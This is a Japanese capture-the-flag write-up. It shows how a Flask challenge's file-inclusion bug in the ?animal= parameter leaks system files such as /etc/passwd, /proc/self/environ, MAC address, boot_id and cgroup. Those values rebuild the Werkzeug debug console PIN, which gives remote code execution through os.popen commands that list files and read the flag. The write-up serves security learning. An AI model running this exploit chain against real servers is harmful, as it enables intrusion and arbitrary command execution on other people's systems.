調査
?animal=動物名で表示が変わるので、適当に弄るとWerkzeugのエラー画面が出てくる。
/consoleを確認するとPINコードが求められる。ほう。
?animal=/etc/passwdとすると表示されるのでLFIができる。ほう。
PIN特定からRCEへ
Workerbee Walkthrough (Werkzeug Debug Pin generation) - YouTube
これをやる。
werkzeug - HackTricks ここの末尾にPINコードを作成するpythonコードが添付されているのでこれを埋めるようにして、情報をかき集めていこう。
- probably_public_bitsを埋める
- 1番目
/proc/self/environから環境変数USERを取ってくるUSER=loremipsum
- 2番目はそのまま
- 3番目
/proc/self/cmdlineをするとloremipsum.pyというファイル名だと分かるloremipsum.pyを取ってくるとapp = Flask(__name__)とあるので、ここはこのままFlaskでよい
- 4番目
- エラー画面を見ると
/usr/local/lib/python3.6/dist-packages/flask/app.pyとあるので、python3.6に修正する
- エラー画面を見ると
- 1番目
- private_bits
- 1番目
/proc/net/arpを見るとDeviceはeth0であると分かる。/sys/class/net/eth0/addressとしてMACアドレスを取得する02:42:ac:1b:00:02- これを16進数でつないで10進数に変換すると得られる
print(0x0242ac1b0002)=2485378547714
- 2番目
- 以下2つをそのままつなげたものを入れる
/proc/sys/kernel/random/boot_idでb875f129-5ae6-4ab1-90c0-ae07a6134578が得られる/proc/self/cgroupの最初の要素のハッシュ値みたいなやつを取ってくる11:memory:/docker/e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334aeのe8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
- よって、
b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
- 以下2つをそのままつなげたものを入れる
- 1番目
- これで実行するとPINコード
126-739-410が得られる
これでコンソール経由でRCEできるようになるので、フラグを見つけて答える。
>>> __import__('os').popen('ls').read()
'cats\ncheese\ndogs\nfish\nflag\nloremipsum.py\nwrapper.sh\n'
>>> __import__('os').popen('cat flag').read()
'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus mollis condimentum ante, pharetra semper nunc sodales in. Nulla ultricies eu ligula sed ultrices. Maecenas iaculis sit amet ex non tempus. Mauris vulputate arcu vel nulla suscipit aliquam. Mauris eleifend ex tortor. Maecenas sed nunc nisl. Fusce congue euismod nulla, eu laoreet ipsum. Suspendisse semper lacinia nisl eget condimentum. Duis ornare, libero luctus efficitur convallis, tellus massa ultricies mi, sit amet blandit lorem ipsum at nulla. Etiam malesuada dapibus interdum. Nam erat justo, pharetra at neque sed, congue mollis enim. Pellentesque vestibulum mollis ex ac fringilla. Morbi feugiat tincidunt elit vitae aliquet. In hac habitasse platea dictumst. Nullam sagittis eleifend iaculis.\n\nb0ctf{Fl4sK_d3buG_is_InseCure}\n'